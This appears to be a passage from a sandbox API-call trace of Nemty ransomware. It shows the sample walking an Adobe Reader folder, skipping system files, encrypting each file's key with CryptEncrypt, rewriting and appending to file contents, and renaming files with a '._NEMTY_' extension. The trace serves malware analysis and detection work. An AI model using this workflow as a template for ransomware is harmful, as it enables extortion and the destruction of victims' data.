MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.427] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\distribute_form.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\distribute_form.gif._nemty_kgobjgd_")) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.428] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a3, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="email_all.gif", cAlternateFileName="EMAIL_~2.GIF")) returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2=".") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="..") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="...") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="windows") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="rsa") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="NTDETECT.COM") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="ntldr") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="MSDOS.SYS") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="IO.SYS") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="boot.ini") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="boot.ini") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="ntuser.dat") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="desktop.ini") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="CONFIG.SYS") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="RECYCLER") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="bootmgr") returned 1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="programdata") returned -1 [0193.428] lstrcmpiW (lpString1="email_all.gif", lpString2="appdata") returned 1 [0193.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_all.gif", lpUsedDefaultChar=0x0) returned 13 [0193.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.428] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_all.gif", lpUsedDefaultChar=0x0) returned 13 [0193.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_all.gif", lpUsedDefaultChar=0x0) returned 13 [0193.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_all.gif", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_all.gif", lpUsedDefaultChar=0x0) returned 13 [0193.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.429] Sleep (dwMilliseconds=0x5) [0193.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f1deb0, dwHighDateTime=0x1d561e8)) [0193.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f1deb0, dwHighDateTime=0x1d561e8)) [0193.438] GetLastError () returned 0x0 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.438] GetLastError () returned 0x0 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.438] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.438] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.438] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.438] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="ZtJiwB1VxNgo0HmoUuh+mYZ5umLrWlg+/YYMQXiFjCfGYNKooMmd6ntWBMkPtIQl\r\nbhxz+7JaQu/HSTTgv4+BThdZDDdz2dCfvVggqMZmNMlQIS8iJ2yYARW6zcegrwHN\r\nY+o9UsCEl+GsLoNDLA2XLj9YEAGhaw8p9V1juQEOfxSbJlCr290V2zvDTtyzUkfK\r\nd2+U+OOktO/dBbW3GwgQFRxrzC0NVJ2DrrGgmpC1ih+FhHsQERO4KaLLfElHHWSK\r\nH5LiwLBIoDVnM5VT684rPiWcFM2PIVu/xpwMppud+8YGG7IvDl2QB+Z2Q3uOmuKk\r\nap+pkUPIl6Vpl2XTHMrtwg==\r\n", pcchString=0x653e91c) returned 1 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.439] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1443) returned 1 [0193.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0193.439] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.439] ReadFile (in: hFile=0x254, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653eb64*=0x5a0, lpOverlapped=0x0) returned 1 [0193.443] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.443] WriteFile (in: hFile=0x254, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653eb5c*=0x5a0, lpOverlapped=0x0) returned 1 [0193.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0193.443] SetFilePointer (in: hFile=0x254, lDistanceToMove=1443, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a3 [0193.443] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.444] CloseHandle (hObject=0x254) returned 1 [0193.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.444] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_all.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_all.gif._nemty_kgobjgd_")) returned 1 [0193.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.445] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="email_initiator.gif", cAlternateFileName="EMAIL_~1.GIF")) returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2=".") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="..") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="...") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="windows") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="rsa") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="NTDETECT.COM") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="ntldr") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="MSDOS.SYS") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="IO.SYS") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="boot.ini") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="boot.ini") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="ntuser.dat") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="desktop.ini") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="CONFIG.SYS") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="RECYCLER") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="bootmgr") returned 1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="programdata") returned -1 [0193.445] lstrcmpiW (lpString1="email_initiator.gif", lpString2="appdata") returned 1 [0193.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_initiator.gif", lpUsedDefaultChar=0x0) returned 19 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_initiator.gif", lpUsedDefaultChar=0x0) returned 19 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_initiator.gif", lpUsedDefaultChar=0x0) returned 19 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="email_initiator.gif", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="email_initiator.gif", lpUsedDefaultChar=0x0) returned 19 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.446] Sleep (dwMilliseconds=0x5) [0193.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f44010, dwHighDateTime=0x1d561e8)) [0193.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26f44010, dwHighDateTime=0x1d561e8)) [0193.453] GetLastError () returned 0x0 [0193.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.454] GetLastError () returned 0x0 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.454] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.454] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.454] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="xXtUGExSM8kc8jNIzJ0AG4U8NLabElnl515D6qhfbd0n4ozwcD+gkaplcWmm/eal\r\nZ1pElkbkzqyi9nhAgozvZHxGkqY0MZEjeWsSqG0UdUb7+5m223T0nofkWUTVDgLv\r\nmENQhVNWv9P2fRYwDI89HIf3UvsJFYq5iRUEc/JHmAuAJbBFdsRRcgpP/m1Lj2ak\r\nXMXlRivN6jR2mzXLfPWiifuj1jE2llBMLwrfSVnuNG5HtBtJ8U1LpVemnlMwlpq/\r\nzaEbt1LCxGCV7CpWsGsSPgoM99GzeA9J3aPvMwPu9GIE9SxTswG8NXnT0br2yYlJ\r\nqEPlAhBI86rFOQ5/0Ipznw==\r\n", pcchString=0x653e91c) returned 1 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\email_initiator.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\email_initiator.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.455] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1360) returned 1 [0193.455] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x550) returned 0x6340048 [0193.455] SetFilePointer (in: 